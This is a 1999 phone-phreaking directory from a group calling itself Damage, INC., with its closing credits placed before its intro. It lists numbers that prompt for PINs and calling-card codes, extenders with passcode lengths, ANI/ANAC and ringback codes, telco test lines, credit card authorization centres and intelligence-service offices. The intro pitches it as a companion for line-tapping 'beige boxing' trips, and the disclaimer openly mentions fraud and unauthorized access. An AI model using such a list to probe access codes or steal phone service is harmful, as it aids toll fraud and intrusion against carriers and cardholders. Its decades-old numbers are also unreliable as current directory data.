+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-749-4200 "Enter the PIN number you wish."
+1-800-827-4780 "Please enter your PIN number."
+1-800-827-9910 SkyTel. "Enter the PIN number you wish."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-444-8697 RTK-NET.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-374-2355 InterCall.
+1-800-374-2776 Ericsson Mobile Phones Customer Care Center.
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-438-2355 Kentucky Cellular.
+1-800-452-2355 Appalacian Wireless.
+1-800-460-2255 Pager Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-638-2355 Comcev Cellular Communications.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israel Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage)
+1-800-821-2355 MobileCom.
+1-800-854-2355 MobileCall accounts.
+1-800-866-2770 MobileCom. (pager service)
+1-800-866-7000 MobilCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-926-2355 Ubet Wireless.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-CELLPHONE Travel Phone (Cellular phone company)
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-593-2355 S&E Cellular.
+1-888-638-2355 Cantel AT&T.
+1-888-638-2355 Cantel AT&T.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-858-4PSI PSI Net Canada.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-CELL-COM CellCom and PageCom.
+1-888-PSI-NET1 PSI Net Limited.
+1-888-PSI-NET2 PSI Net Limited.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-800-487-4838 CompuServe.
+1-800-776-3449 Prodigy.
+1-800-777-9638 Sprynet - Gives you two disks.
+1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-225-5475 Smart Cards USA.
+1-800-265-3121 Prepaid LD.
+1-800-277-7468 Sprint Prepaid Calling (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-303-5156 OLA Ontario Pre-paid calling card.
+1-800-393-0711 7-11 Calling Cards.
+1-800-396-2454 Tech-Card Customer Service.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-429-8036 OLA Ontario Pre-paid calling card Customer Service.
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-437-6415 Coca-Cola prepaid phone card dialup.
+1-800-437-9291 Star Telecom Network "Please enter your card number."
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment,
+ pre-paid phone cards, etc.)
+1-800-463-0004 Calling card service.
+1-800-475-9105 Customer Service for pre-paid calling cards.
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-662-6214 AT&T Calling Cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-783-1414 Frontier Access Card.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-864-7000 Premier World Link Access Number.
+1-800-909-3191 Tech-Card (William Shatner)
+1-800-909-3206 MCI WorldCom Pre-paid Card System
+1-800-909-3207 MCI WorldCom Pre-paid Card System
+1-800-909-3212 MCI WorldCom Pre-paid Card System
+1-800-909-3214 GTN-Phone Card System
+1-800-909-3215 Pre-paid Calling Card System
+1-800-909-3217 1-800 Pre-paid
+1-800-909-3218 1-800 Pre-paid
+1-800-909-3219 1-800 Pre-paid
+1-800-909-3225 MCI WorldCom Pre-paid Card System
+1-800-909-3231 MCI WorldCom Pre-paid Card System
+1-800-909-3236 MCI WorldCom Pre-paid Card System
+1-800-909-3240 MCI WorldCom Pre-paid Card System
+1-800-909-3242 MCI WorldCom Pre-paid Card System
+1-800-909-3245 MCI-Exchange Card Service
+1-800-909-3477 Pre-paid Long-Distance Service
+1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC)
+1-800-909-3640 MCI WorldCom Pre-paid Card System
+1-800-909-3641 MCI WorldCom Pre-paid Card System
+1-800-909-3642 MCI WorldCom Pre-paid Card System
+1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System)
+1-800-909-3646 MCI WorldCom Pre-paid Card System
+1-800-909-3653 MCI WorldCom Pre-paid Card System
+1-800-909-3654 MCI WorldCom Pre-paid Card System
+1-800-909-3657 MCI WorldCom Pre-paid Card System
+1-800-909-3661 Pre-paid Calling Card System
+1-800-909-4495 Calling Card System (Insimity Point Security Code)
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service (U.S.)
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-569-0788 A Better Conference.
+1-800-625-5288 Teleconference Playback Center.
+1-800-668-4210 Frontier ConferTech.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-962-0044 Conf Call USA.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+1-800-925-8888 Automated Authorization Centre. (Credit Cards)
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 292-5255 CSIS in Calgary.
+(403) 421-5800 CSIS in Edmonton.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 895-2255 Extender. (5 digit passcode)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(847) 823-9995 Gives reading on the Bell CO, including alert and battery
+ conditions and temperature. Also allows you to check the sound
+ levels, allowing you to hear inside the CO.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you for
+ calling."
+1-800-225-5300 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-265-1111 High Tone.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-369-2255 Silent line.
+1-800-430-7938 DMS.
+1-800-437-3025 No Ring+Silent Line.
+1-800-437-8351 High Tones.
+1-800-444-1677 Siren Tones.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 1 Ring then silent line.
+1-800-465-7735 Strange Tones.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-555-1120 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-565-6737 High Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number.
+ Goodbye."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-0036 No Ring+Click+Trunk Busy.
+1-800-827-0058 High Tone.
+1-800-827-1227 Ring+Trunk Busy.
+1-800-827-3210 NIS (Reads back 827-3210)
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-827-9010 "We're sorry, the number you have called is an invalid number."
+1-800-827-9876 NIS (Reads back 827-9876)
+1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890."
+1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892."
+1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904."
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. Some type of test line.
+1-800-866-9317 High Tone
+1-800-877-8000 Low Tone
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-909-3467 Low Tone (PBX)
+1-800-909-4358 High Tone.
+1-800-909-4364 High Tone.
+1-800-925-0288 "This is not a valid number."
+1-800-925-3300 Low Tone.
+1-800-925-6620 Low Tone.
+1-800-925-8300 Rings+Silent Line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-877-900-EASY "You have reached an inactive number on the EasyTel network."
+1-888-374-2355 "You have entered an invalid telephone number."
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+ at this time."
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back
+1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-345-1518 Compaq Computer PaqFax
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Main number (get product info by FAX).
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-909-0261 Apple Fax.
+1-800-909-0263 3M Economic Services Fax-On-Demand System.
+1-800-909-0264 Kinko's Fax-On-Demand Service.
+1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service.
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-------------------------------------------------------------------------------
+ Yellow Pages:
+-------------------------------------------------------------------------------
+
+(519) 579-2252 Baca Communications. (Bell Mobility Dealer)
+(519) 654-2211 Bestel Message Centre Ltd. (Paging Services)
+(519) 725-2570 Bell Mobility Baca.
+(519) 744-7781 Bell Mobility Centre (Highland Hills Mall)
+(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging)
+(519) 893-8777 Bell World.
+(519) 894-2211 Bell Mobility Cellular Plus Centre.
+1-800-311-WORK Bell Canada.
+1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging.
+1-800-917-1917 Bell Canada's Advantage Call Centre Solutions.
+
+(519) 888-9660 Cantel AT&T Store (Connestoga Mall)
+(519) 893-1811 Cantel AT&T Automated Self-Service System.
+1-800-268-1087 Cantel AT&T Paging Customer Service.
+1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide)
+
+(519) 741-5990 London Telecom Network.
+(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.)
+(519) 748-3200 Rogers Cablesystems General Enquiries.
+(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.)
+(519) 893-2310 Rogers Technical Assistance.
+(519) 893-4400 Rogers Community Programming.
+(519) 896-7600 Ericsson Communications Canada Inc.
+(905) 561-5443 Digital Mobile Systems Inc.
+
+1-800-216-0888 PageNet.
+1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer)
+1-800-265-8725 Shaw Paging.
+1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which
+ offer Year 2000 expertise and services)
+1-800-453-6835 Glentel Inc. Mobile Satellites.
+1-800-838-0298 MRC Systems Inc.
+1-888-253-2763 (1-888-CLEARNET) Clearnet Inc.
+1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services)
+
+
+Internet:
+
+(519) 570-2121 GO INTERNET CAFE.
+(519) 651-3400 Sentex Communications.
+(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent
+ Technologies Agent)
+1-800-263-8433 Burlington Network Services.
+1-800-668-2857 Wightman Telecommunications. (ISP)
+1-800-773-4638 Globalserve Internet.
+1-888-298-3447 Netcom Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-6-NEWNET New Net Technologies Group.
+
+
+Cable:
+
+1-800-267-1919 CaTech Systems LTD.
+1-800-400-4954 Cablecom International.
+1-877-342-3726 Fiber Core Communications.
+1-877-652-0088 First Call Locate Service.
+
+
+Telephone Companies:
+
+(519) 651-2000 A-TEL Communications. (Press "9" to dial out)
+(519) 651-2250 A-TEL Communications.
+(519) 744-4455 A Telephone Man. (listed under Telephone Companies)
+(519) 744-9640 A + Tel Inc.
+(519) 745-0856 Telnet Communications.
+(519) 746-3357 Sprint Canada Inc.
+
+
+Telephone Directories:
+
+(519) 571-7700 Bell ActiMedia.
+(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time &
+ temperature)
+
+
+Telephone Equipment:
+
+(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies
+ Dealer. Long Distance and Conferencing Services)
+(519) 570-0885 WilTel.
+(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service)
+(519) 650-2000 City-Com Communications (Golden Triangle) Inc.
+(519) 654-2000 Regional Telecom.
+(519) 654-2003 Intelicom Systems.
+(519) 658-4588 Instatel Communications
+(519) 741-9262 Barrett B J Communications.
+(519) 744-6500 Tele-Connect.
+(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer)
+(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor)
+(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor)
+(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent)
+(519) 883-4109 Exceltech. (Telephone equipment services)
+1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent)
+1-888-276-1604 Telecom-Tech.
+1-888-7-DELPHI Delphi Solutions Customer Service.
+
+
+Long Distance:
+
+(519) 220-1120 Ability Telecom. (Flat Rate Long Distance)
+(519) 576-7077 Distributel Communications Ltd. (Long Distance Service)
+(519) 651-2250 Fone Pass (formerly Ad-Tel Communications)
+(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance)
+1-800-670-2266 AT&T Canada Long Distance.
+1-800-700-0017 Glentel Inc. (Long Distance)
+1-888-266-1313 WinTel Communications. (Long Distance)
+1-888-676-7777 Bell Canada Advantage Optimum savings program.
+1-888-824-1032 Telelink Canada. (Flat Rate Long Distance)
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@disinfo.net and
+report the error. This list is updated and released on a quarterly basis. So,
+if you send numbers your alias will be included in the next edition, which we
+expect to release sometime early in the year 2000. Again, contributions are
+encouraged and appreciated.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, contact Damage, INC. and notify us about the oversight.
+
+Contributors/Greets:
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper,
+Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, Fringe,
+KingPiN, tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin,
+not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204),
+Snake Eyes.
+
+Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the
+the PLA Telephone Director0y. It was an inspiration to us. :)
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 1999 by Damage, INC. All Rights Reserved.
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Spring 1999 Edition ú
+ (Released: 03/31/99)
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+Intro:
+
+This is the first edition of the Damage, INC. Phreaky Field Phreaking List. We
+recommend that you print it out and take it with you on beige boxing/junction
+boxing expeditions. Hell, just take it with you wherever you travel. You never
+know when you're going to need it. :) The list will be updated and released on
+a quarterly basis. This comprehensive list includes many toll free numbers for
+telcos, computer companies, carriers, cellular, and other services, etc. Always
+remember, you ain't seen nothin' yet!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI)
+(613) 320-2232 ANI for Ottawa, Ontario.
+
+1-800-346-0152 ANI.
+1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers
+ free 1-800 blocking and ANAC.
+1-800-487-9240 ANI (doesn't work from 519)
+1-800-514-9939 ANI (doesn't work from 416/519)
+1-800-532-7486 ANI (Hit option 1, then option 1 again then listen)
+1-800-555-1160 ANI (always busy now...)
+1-800-555-1170 ANI (always busy now...)
+1-800-569-5699 ANI (press 5*#) (now requires a valid authorization code)
+1-800-638-2392 Press "2" for ANI info.
+
+320-XXX-XXXX Ringback for Montreal, Quebec.
+507-XXX-XXXX Ringback for Alberta.
+590-XXX-XXXX Ringback for 204 NPA.
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for North Bay, Ontario (705)
+999-XXX-XXXX Ringback for Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-225-5288 (1-800-CALL-ATT)
+1-800-235-4288 AT&T America.
+1-800-242-6005 AT&T Internet Services.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-387-1926 AT&T Personal Info Line.
+1-800-387-4268 AT&T Canada.
+1-800-423-4343 AT&T Universal Card.
+1-800-425-5288 AT&T Products and Services.
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-432-6600 AT&T Customer Information Center (USA)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-522-2157 AT&T Investigations Department.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising
+1-800-562-6275 AT&T Message Sender (Send an automated message to any number in
+ the world with your voice. Accepts calling cards & credit cards)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-575-9999 AT&T Canada.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 AT&T Universal Card.
+1-800-670-2255 AT&T Canada Long Distance Services.
